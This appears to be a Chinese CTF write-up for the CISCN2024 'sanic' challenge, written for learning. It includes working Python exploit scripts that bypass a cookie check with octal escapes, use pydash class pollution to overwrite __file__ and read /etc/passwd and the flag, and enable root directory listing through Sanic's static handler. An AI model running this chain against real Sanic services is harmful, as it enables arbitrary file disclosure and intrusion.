[CISCN2024]sanic

6 min

[CISCN2024]sanic

源码

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

是在sanic框架下的,去找sanic处理cookie的逻辑,发现用双引号包裹里面的转义会被解析,并且能够解析八进制,于是可以用八进制的编码绕过

{"user": "adm\073n"}

_sanic

_sanic

然后是过滤了_.这个字符串,跟进一下看看处理的逻辑

_sanic

_sanic

最终是用to_path_tokens来处理path,这里面的unescape_path_key会将包含的转义符去掉,因此我们就能利用这点绕过,在前面加上\\\\最终仍会被解析为_.

RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])")

def unescape_path_key(key):
    """Unescape path key."""
    key = key.replace(r"\\", "\\")
    key = key.replace(r"\.", r".")
    return key

src能够通过__file__读取文件,把这个污染了就能读取任意文件了

import requests
import re

url = "http://e37ecdd2-ea0f-4ab5-a12f-5e7685643e9f.challenge.ctf.show/"

s = requests.session()

key = "__init__\\\\.__globals__\\\\.__file__"
value = "/etc/passwd"
cookie = {"user": "\"adm\\073n\""}

login = s.get(url + "login", cookies=cookie)
s.post(url + "admin", json = {"key": key, "value": value}, cookies=cookie)
src = s.get(url + "src", cookies=cookie)
print(src.text)

_sanic

然后读不到/flag,不知道flag文件名是什么,需要读目录,但是该怎么通过一个pollute读取目录呢

只靠污染一个__file__肯定不行,注意有一个static,跟进看一下

_sanic

在注释中发现

_sanic

大体意思就是在directory_view为True的时候会开启列目录功能,当开启了之后能够用directory_handler自定义如何展示

然后跟进directory_handler看看,发现是调用了DirectoryHandler这个类

_sanic

继续跟进

_sanic

其中的directory就是目录的位置,所以我们只需要将directory设为根目录然后directory_view设为True就能够读到根目录

接下来是寻找污染链

我们需要污染的是static中的参数,需要找到static是如何被调用到的,简单分析一下所在的代码

首先是DirectoryHandler被实例化,也就是刚才找到的,接下来在StaticHandleMixin类中被包装成了_handler,然后注册到route中

_sanic

_sanic

_sanic

在router中发现find_route_by_view_name这个函数是通过name_index来获取路由名字的

_sanic

在本地起个环境然后输出看一下

print(app.router.name_index)

_sanic

全局找一下name_index

_sanic

_sanic

打个断点然后调试一下,发现我们要污染的变量

_sanic

可以看到目标是在handler中,试着输出一下

print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'])

_sanic

尝试污染一下,可以看到成功了

import requests

url = "http://127.0.0.1:11211/"

s = requests.session()

key = "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view"
value = True
cookie = {"user": "\"adm\\073n\""}

# login = s.get(url + "login", cookies=cookie)
res = s.post(url + "admin", json = {"key": key, "value": value}, cookies=cookie)
# src = s.get(url + "src", cookies=cookie)
# print(login.text)
print(res.text)
# print(src.text)

_sanic

接下来更改目录

import requests

url = "http://127.0.0.1:11211/"

s = requests.session()

key = "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory"
value = "/"
cookie = {"user": "\"adm\\073n\""}

# login = s.get(url + "login", cookies=cookie)
res = s.post(url + "admin", json = {"key": key, "value": value}, cookies=cookie)
# src = s.get(url + "src", cookies=cookie)
# print(login.text)
print(res.text)
# print(src.text)

_sanic

发现报错了,回到directory中看一下,发现directory的值是这个parts决定的,但是parts是一个元组,不能污染,得找一下是怎么被赋值的

_sanic

跟进之后是这个,__new__会根据操作系统返回不同的实例,最后是用的_from_parts处理的参数

_sanic

跟进,发现这里的parts最终是被赋给了_parts,是通过_parse_args函数调用的

_sanic

继续跟进,这里就是变成元组的地方,path对象在这里通过_parts以列表的形式赋给parts,最后通过parse_parts转换成了元组,

_sanic

尝试一下,在这次终于成功了

import requests

url = "http://e37ecdd2-ea0f-4ab5-a12f-5e7685643e9f.challenge.ctf.show/"

s = requests.session()

key = "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts"
value = ["/"]
cookie = {"user": "\"adm\\073n\""}

login = s.get(url + "login", cookies=cookie)
res = s.post(url + "admin", json = {"key": key, "value": value}, cookies=cookie)
#src = s.get(url + "src", cookies=cookie)
print(login.text)
print(res.text)
#print(src.text)

_sanic

然后污染__file__读取flag

最终payload

import requests
import re

url = "http://e37ecdd2-ea0f-4ab5-a12f-5e7685643e9f.challenge.ctf.show/"

s = requests.session()

key1 = "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view"
key2 = "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts"
path = ["/"]
cookie = {"user": "\"adm\\073n\""}

login = s.get(url + "login", cookies=cookie)
s.post(url + "admin", json = {"key": key1, "value": True}, cookies=cookie)
s.post(url + "admin", json = {"key": key2, "value": path}, cookies=cookie)
static = s.get(url + "static/", cookies=cookie)

content = static.text
all = re.findall(r'<a href="([^"]+)">', content)
flag_path = [x for x in all if "flag" in x][0]

s.get(url + "admin", json={"key": "__init__\\\\.__globals__\\\\.__file__", "value": f"/{flag_path}"}, cookies=cookie)

flag = s.get(url + "src", cookies=cookie)
print(flag.text)

_sanic

总结

复现的过程中真的遇到了好多问题,看着wp好像不难,实际上手哪里都是问题,不过这一遍下来还是学到蛮多东西的


参考:

https://www.cnblogs.com/gxngxngxn/p/18205235

https://xz.aliyun.com/news/14057

https://redshome.top/posts/2024-12-10-2024%E5%9B%BD%E8%B5%9B-sanic%E5%A4%8D%E7%8E%B0/